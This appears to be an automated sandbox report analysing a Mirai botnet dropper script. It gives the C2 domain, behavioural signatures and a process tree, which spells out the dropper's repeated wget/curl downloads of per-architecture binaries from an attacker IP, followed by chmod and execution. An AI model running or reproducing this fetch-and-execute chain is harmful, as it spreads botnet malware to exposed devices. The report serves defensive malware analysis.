Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    06/11/2024, 01:46

General

  • Target
    c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
  • Size 2KB
  • Sample241106-b7asratbnj
  • SHA256 c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • cnc.carteldesinaloa.ru

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (79758) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Modifies Watchdog functionality 1 TTPs 12 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Changes its process name 6 IoCs
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
    /tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
    1⤵
    • Writes file to tmp directory
    PID:707
    • /usr/bin/wget
      wget http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Writes file to tmp directory
      PID:711
    • /usr/bin/curl
      curl -O http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:729
    • /bin/cat
      cat nuklear.arm
      2⤵
        PID:735
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.payload systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
        2⤵
        • File and Directory Permissions Modification
        PID:736
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
          PID:738
        • /usr/bin/wget
          wget http://94.156.177.146/389242390482/nuklear.arm5
          2⤵
          • Writes file to tmp directory
          PID:740
        • /usr/bin/curl
          curl -O http://94.156.177.146/389242390482/nuklear.arm5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:741
        • /bin/cat
          cat nuklear.arm5
          2⤵
            PID:742
          • /bin/chmod
            chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.payload systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/nuklear.payload
            ./nuklear.payload nuklear.payload
            2⤵
              PID:744
            • /usr/bin/wget
              wget http://94.156.177.146/389242390482/nuklear.arm6
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://94.156.177.146/389242390482/nuklear.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:747
            • /bin/cat
              cat nuklear.arm6
              2⤵
                PID:748
              • /bin/chmod
                chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.payload systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
                2⤵
                • File and Directory Permissions Modification
                PID:749
              • /tmp/nuklear.payload
                ./nuklear.payload nuklear.payload
                2⤵
                  PID:750
                • /usr/bin/wget
                  wget http://94.156.177.146/389242390482/nuklear.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /usr/bin/curl
                  curl -O http://94.156.177.146/389242390482/nuklear.arm7
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:753
                • /bin/cat
                  cat nuklear.arm7
                  2⤵
                    PID:772
                  • /bin/chmod
                    chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.payload systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:774
                  • /tmp/nuklear.payload
                    ./nuklear.payload nuklear.payload
                    2⤵
                      PID:775
                    • /usr/bin/wget
                      wget http://94.156.177.146/389242390482/nuklear.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:778
                    • /usr/bin/curl
                      curl -O http://94.156.177.146/389242390482/nuklear.m68k
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:791
                    • /bin/cat
                      cat nuklear.m68k
                      2⤵
                        PID:805
                      • /bin/chmod
                        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.payload systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
                        2⤵
                        • File and Directory Permissions Modification
                        PID:806
                      • /tmp/nuklear.payload
                        ./nuklear.payload nuklear.payload
                        2⤵
                          PID:807
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.mips
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:809
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.mips
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:810
                        • /bin/cat
                          cat nuklear.mips
                          2⤵
                          • System Network Configuration Discovery
                          PID:811
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.payload systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
                          2⤵
                          • File and Directory Permissions Modification
                          PID:812
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                            PID:813
                          • /usr/bin/wget
                            wget http://94.156.177.146/389242390482/nuklear.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:815
                          • /usr/bin/curl
                            curl -O http://94.156.177.146/389242390482/nuklear.mpsl
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:816
                          • /bin/cat
                            cat nuklear.mpsl
                            2⤵
                              PID:831
                            • /bin/chmod
                              chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
                              2⤵
                              • File and Directory Permissions Modification
                              PID:832
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              PID:833
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:838
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.ppc
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:851
                            • /bin/chmod
                              chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc systemd-private-09f9e09a020a4f16bf44ef79a3c07564-systemd-timedated.service-fEYhn3
                              2⤵
                              • File and Directory Permissions Modification
                              PID:859
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              PID:860
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.sh4
                              2⤵
                              • Writes file to tmp directory
                              PID:864
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.sh4
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:868
                            • /bin/chmod
                              chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4
                              2⤵
                              • File and Directory Permissions Modification
                              PID:873
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              PID:874
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.spc
                              2⤵
                              • Writes file to tmp directory
                              PID:878
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.spc
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:882
                            • /bin/chmod
                              chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:884
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              PID:885
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.x86
                              2⤵
                              • Writes file to tmp directory
                              PID:889
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.x86
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:893
                            • /bin/chmod
                              chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:895
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              PID:896
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:900
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.x86_64
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:904
                            • /bin/chmod
                              chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86 nuklear.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:906
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              PID:907

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                nuklear.arm

                                • Path /tmp/nuklear.arm
                                • Size 81KB
                                • SHA256 6a4f0c194ff955c49428fd391a73eed5477541588feddbfde6a1f5acea1489af
                                • MD5 SHA1 SHA512 SSDEEP